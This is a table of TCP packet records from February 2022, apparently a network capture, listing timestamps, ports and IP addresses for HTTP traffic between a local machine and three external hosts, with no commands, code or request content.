Feb 10, 2022 10:21:50.837023020 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.837029934 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.837038994 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.837071896 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.837779999 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.844257116 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.844293118 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.844307899 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.844330072 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.844350100 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.844372988 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.844379902 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.844393015 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.844403028 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.844412088 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.844413042 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.844428062 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.844436884 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.844444990 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.844458103 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.844475031 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.844477892 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.844490051 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.844501019 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.844516039 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.844521999 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.844538927 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.844544888 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.844563961 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.844567060 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.844575882 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.844587088 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.844609976 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.844616890 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.844630957 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.844634056 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.844645977 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.844651937 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.844664097 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.844674110 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.844685078 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.844696999 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.844719887 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.844721079 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.844733953 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.844743967 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.844750881 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.844765902 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.844779968 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.844798088 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.845065117 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.948957920 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.948992968 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.949007988 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.949023008 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.949045897 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.949068069 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.949086905 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.949106932 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.949107885 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.949127913 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.949139118 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.949141979 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.949143887 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.949147940 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.949162960 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.949172020 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.949179888 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.949194908 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.949214935 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.949215889 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.949232101 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.949239016 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.949250937 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.949278116 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.949467897 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.949491024 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.949513912 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.949528933 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.954576015 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.954602003 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.954622984 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.954644918 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.954665899 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.954677105 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.954687119 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.954699039 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.954700947 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.954709053 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.954719067 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.954731941 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.954751015 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.954756975 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.954766989 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.954782009 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.954797983 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.954802990 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.954814911 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.954827070 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.954840899 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.954849005 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.954869032 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.954874039 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.954885006 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.954895973 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.954912901 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.954916954 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.954929113 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.954937935 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.954957008 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.954957962 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.954972029 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.954981089 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.954998970 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.955002069 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.955012083 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.955024004 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.955039978 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.955044985 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.955054998 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.955065966 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.955080986 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.955086946 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.955096960 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.955108881 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.955128908 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.955128908 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.955142975 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.955149889 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.955161095 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.955173016 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.955188990 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.955194950 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.955208063 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.955218077 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.955238104 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.955239058 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.955250978 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.955262899 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.955279112 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.955292940 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.958271027 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.958297968 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.958314896 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.958336115 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.958359003 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.958374977 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.958379030 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.958393097 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.958395958 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.958400011 CET	80	49165	198.46.132.195	192.168.2.22
Feb 10, 2022 10:21:50.958412886 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:50.958429098 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:51.837635040 CET	49165	80	192.168.2.22	198.46.132.195
Feb 10, 2022 10:21:59.727646112 CET	49166	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:21:59.748434067 CET	80	49166	172.67.197.66	192.168.2.22
Feb 10, 2022 10:21:59.748563051 CET	49166	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:21:59.753804922 CET	49166	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:21:59.769998074 CET	80	49166	172.67.197.66	192.168.2.22
Feb 10, 2022 10:21:59.770062923 CET	49166	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:21:59.786164999 CET	80	49166	172.67.197.66	192.168.2.22
Feb 10, 2022 10:21:59.836230040 CET	80	49166	172.67.197.66	192.168.2.22
Feb 10, 2022 10:21:59.836334944 CET	80	49166	172.67.197.66	192.168.2.22
Feb 10, 2022 10:21:59.836407900 CET	49166	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:21:59.836559057 CET	49166	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:21:59.852705956 CET	80	49166	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:02.821213007 CET	49167	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:02.837481022 CET	80	49167	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:02.837610960 CET	49167	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:02.840347052 CET	49167	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:02.856487989 CET	80	49167	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:02.856580973 CET	49167	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:02.872755051 CET	80	49167	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:02.975469112 CET	80	49167	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:02.975771904 CET	49167	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:02.975775003 CET	80	49167	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:02.975845098 CET	49167	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:02.991892099 CET	80	49167	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:03.809348106 CET	49168	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:03.825545073 CET	80	49168	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:03.825649023 CET	49168	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:03.831670046 CET	49168	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:03.847848892 CET	80	49168	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:03.848067045 CET	49168	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:03.864182949 CET	80	49168	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:03.955466986 CET	80	49168	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:03.955637932 CET	49168	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:03.955820084 CET	80	49168	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:03.955868006 CET	49168	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:03.971746922 CET	80	49168	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:04.896179914 CET	49169	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:04.914192915 CET	80	49169	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:04.914287090 CET	49169	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:04.920207977 CET	49169	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:04.937333107 CET	80	49169	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:04.937419891 CET	49169	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:04.954302073 CET	80	49169	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:05.027216911 CET	80	49169	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:05.027276039 CET	80	49169	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:05.027484894 CET	49169	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:05.027533054 CET	49169	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:05.045154095 CET	80	49169	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:05.936275005 CET	49170	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:05.952708006 CET	80	49170	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:05.952825069 CET	49170	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:05.958935022 CET	49170	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:05.975126028 CET	80	49170	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:05.975214958 CET	49170	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:05.992187977 CET	80	49170	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:06.048285007 CET	80	49170	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:06.048335075 CET	80	49170	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:06.048419952 CET	49170	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:06.048474073 CET	49170	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:06.065763950 CET	80	49170	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:06.986953974 CET	49171	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:07.003218889 CET	80	49171	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:07.003308058 CET	49171	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:07.006112099 CET	49171	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:07.023104906 CET	80	49171	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:07.023216963 CET	49171	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:07.040285110 CET	80	49171	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:07.110586882 CET	80	49171	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:07.110697031 CET	80	49171	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:07.110860109 CET	49171	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:07.110909939 CET	49171	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:07.127089024 CET	80	49171	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:08.109112024 CET	49172	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:08.125571966 CET	80	49172	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:08.125680923 CET	49172	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:08.131839037 CET	49172	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:08.148003101 CET	80	49172	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:08.148073912 CET	49172	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:08.164340973 CET	80	49172	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:08.291701078 CET	80	49172	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:08.291745901 CET	80	49172	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:08.291848898 CET	49172	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:08.291922092 CET	49172	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:08.308020115 CET	80	49172	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:09.253694057 CET	49173	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:09.270165920 CET	80	49173	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:09.270242929 CET	49173	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:09.274962902 CET	49173	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:09.291929960 CET	80	49173	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:09.292191029 CET	49173	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:09.308676958 CET	80	49173	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:09.407815933 CET	80	49173	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:09.407835960 CET	80	49173	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:09.407948971 CET	49173	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:09.407998085 CET	49173	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:09.425189018 CET	80	49173	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:10.396043062 CET	49174	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:10.412357092 CET	80	49174	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:10.412508011 CET	49174	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:10.415911913 CET	49174	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:10.432607889 CET	80	49174	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:10.432744980 CET	49174	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:10.448926926 CET	80	49174	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:10.503607035 CET	80	49174	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:10.503706932 CET	80	49174	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:10.503709078 CET	49174	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:10.503747940 CET	49174	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:10.519778967 CET	80	49174	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:11.462559938 CET	49175	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:11.478848934 CET	80	49175	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:11.479021072 CET	49175	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:11.483872890 CET	49175	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:11.500169039 CET	80	49175	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:11.500328064 CET	49175	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:11.516634941 CET	80	49175	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:11.594872952 CET	80	49175	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:11.594969034 CET	49175	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:11.595057011 CET	80	49175	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:11.595097065 CET	49175	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:11.611120939 CET	80	49175	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:12.533207893 CET	49176	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:12.549602032 CET	80	49176	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:12.549736023 CET	49176	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:12.553925991 CET	49176	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:12.570136070 CET	80	49176	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:12.570199013 CET	49176	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:12.586457014 CET	80	49176	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:12.721690893 CET	80	49176	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:12.721822023 CET	49176	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:12.721960068 CET	80	49176	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:12.722008944 CET	49176	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:12.738008976 CET	80	49176	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:13.607547998 CET	49177	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:13.623913050 CET	80	49177	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:13.624032021 CET	49177	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:13.627098083 CET	49177	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:13.643275023 CET	80	49177	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:13.643413067 CET	49177	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:13.659606934 CET	80	49177	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:13.718802929 CET	80	49177	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:13.718858004 CET	80	49177	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:13.718951941 CET	49177	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:13.718996048 CET	49177	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:22:13.735419989 CET	80	49177	104.21.49.244	192.168.2.22
Feb 10, 2022 10:22:14.765177011 CET	49178	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:14.781410933 CET	80	49178	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:14.781538963 CET	49178	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:14.784465075 CET	49178	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:14.800530910 CET	80	49178	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:14.800611973 CET	49178	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:14.816694021 CET	80	49178	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:14.920140982 CET	80	49178	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:14.920171022 CET	80	49178	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:14.920326948 CET	49178	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:14.920541048 CET	49178	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:14.936752081 CET	80	49178	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:15.860728979 CET	49179	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:15.876959085 CET	80	49179	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:15.877051115 CET	49179	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:15.879811049 CET	49179	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:15.896003008 CET	80	49179	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:15.896128893 CET	49179	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:15.912307024 CET	80	49179	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:15.963191986 CET	80	49179	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:15.963282108 CET	80	49179	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:15.963314056 CET	49179	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:15.963339090 CET	49179	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:15.979487896 CET	80	49179	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:17.202990055 CET	49180	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:17.219258070 CET	80	49180	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:17.219337940 CET	49180	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:17.221999884 CET	49180	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:17.238154888 CET	80	49180	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:17.238274097 CET	49180	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:17.254414082 CET	80	49180	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:17.311069012 CET	80	49180	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:17.311122894 CET	80	49180	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:17.311192036 CET	49180	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:17.311235905 CET	49180	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:17.329090118 CET	80	49180	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:18.565761089 CET	49181	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:18.581887960 CET	80	49181	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:18.581958055 CET	49181	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:18.584774971 CET	49181	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:22:18.601072073 CET	80	49181	172.67.197.66	192.168.2.22
Feb 10, 2022 10:22:18.601130009 CET	49181	80	192.168.2.22	172.67.197.66
